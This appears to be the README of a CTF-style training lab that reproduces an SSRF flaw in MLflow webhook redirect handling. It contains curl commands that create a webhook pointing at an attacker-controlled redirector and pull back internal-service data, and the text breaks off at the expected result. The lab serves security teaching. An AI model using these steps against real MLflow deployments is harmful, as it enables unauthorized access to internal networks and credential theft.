
este laboratorio puede estar bien o mal preguntale a la IA estoy probando pero debe funcionar hahahah
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Hands-on lab that reproduces CVE-2026-64849: an SSRF vulnerability
in MLflow caused by a TOCTOU (Time-of-Check / Time-of-Use) flaw in
webhook handling. MLflow validates the original webhook URL but follows HTTP
redirects (302) without re-validating the destination, which allows an
unauthenticated attacker to reach internal services they should not have
access to (internal-service:8888).
Restricted use: lab material, only for authorized networks and environments. See Legal notice.
| Attribute | Value |
|---|---|
| Vulnerability | CVE-2026-64849 — SSRF via Webhook Redirect Bypass |
| Affected component | MLflow Tracking Server (< 3.15.0) |
| Lab version | MLflow 3.13.0 (unmodified, via pip install) |
| Root cause | TOCTOU: validates the URL, follows the 302 without re-validating |
| Vector | HTTP; unauthenticated |
| Declared severity | CRITICAL (CVSS 9.3) — per the lab exploit banner |
| Impact | Access to internal services, credential theft, port scanning |
| Estimated duration | 15–20 minutes |
| Level | Intermediate (Web App Security / Offensive Security) |
MLflow allows registering webhooks that trigger HTTP requests on events (model data, experiments, etc.). Before saving the URL, a validation is applied (scheme, private IPs, metadata IP). The flaw occurs because:
3xx, the
requests library follows the redirect automatically and never re-validates the destination URL.The attacker controls the first hop (a server that responds 302 to an
internal service) and MLflow acts as a proxy into the internal network.
See the full technical analysis in EXPLOITATION_GUIDE.md §6.
By the end of the lab, the student will be able to:
/test, and
exfiltration from the internal service.Audience: offensive security students and professionals, pentesters, application security reviewers, and developers who use MLflow.
Software requirements:
| Tool | Minimum version |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
No credentials or authentication are required in MLflow (the attack is unauthenticated). No access to the internal network is needed: the lab provides it.
host Docker internal network (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ attacker (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, responder 302) │
│ http://localhost:5000 │ │ │ webhook URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, follows the redirect) │
│ │ │ internal-service (8888) ← NO ports to │
│ │ │ "/admin/secret" host │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Component | Port | Role in the lab | Modified? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Victim / vulnerable client (stock MLflow 3.13.0) | No |
attacker-server | 8080 | Attacker server: /webhook → 302, /redirect?url=, /metadata, dashboard | Only do_HEAD |
internal-service | 8888 | Victim on lab_network; /admin/secret and /api/internal/config | No |
Integrity detail: the vulnerable service and the internal service have not been modified. See EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # brings up the 3 containers and waits for MLflow
bash run_lab.sh exploit # exploits automatically (SSRF → Level 1 flag)
Guided step-by-step demo (interactive menu):
bash manual_exploitation_interactive.sh
🏁 CTF mode (MANUAL solving): the lab is a level-based challenge. Each
flag leaves you the clue for the next level, so reaching each flag "makes
sense". And the whole point is to do it by hand: ctf_lab.sh does not
exploit for you, it only guides you and validates your flag:
bash ctf_lab.sh # interactive CTF menu
bash ctf_lab.sh nivel 1 # instructions + level clue (commands for YOU TO RUN MANUALLY)
bash ctf_lab.sh flag '<flag>' # validate the flag you exfiltrated and decoded (+pts)
bash ctf_lab.sh status # completed levels + score (235 pts, without showing flags)
bash ctf_lab.sh hint 2 # clue for a level
bash ctf_lab.sh reset # clear progress
References for the run_lab.sh script:
bash run_lab.sh start # start (default) + status endpoint
bash run_lab.sh exploit # runs exploit.py inside the mlflow container
bash run_lab.sh manual # shows the curl commands step by step
bash run_lab.sh logs # follows logs in real time
bash run_lab.sh stop # stops containers
bash run_lab.sh clean # stops and deletes lab data
All calls to
/testrequire theContent-Type: application/jsonheader; without it, MLflow 3.13 responds400 Bad Request.
# 1. Create the webhook pointing to the attacker server (redirects to the internal portal root, Level 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. Trigger /test → MLflow validates the URL, follows the 302 to the internal service
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Extract the exfiltrated data (nested in result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
Expected result of step 3 (CTF Level 1):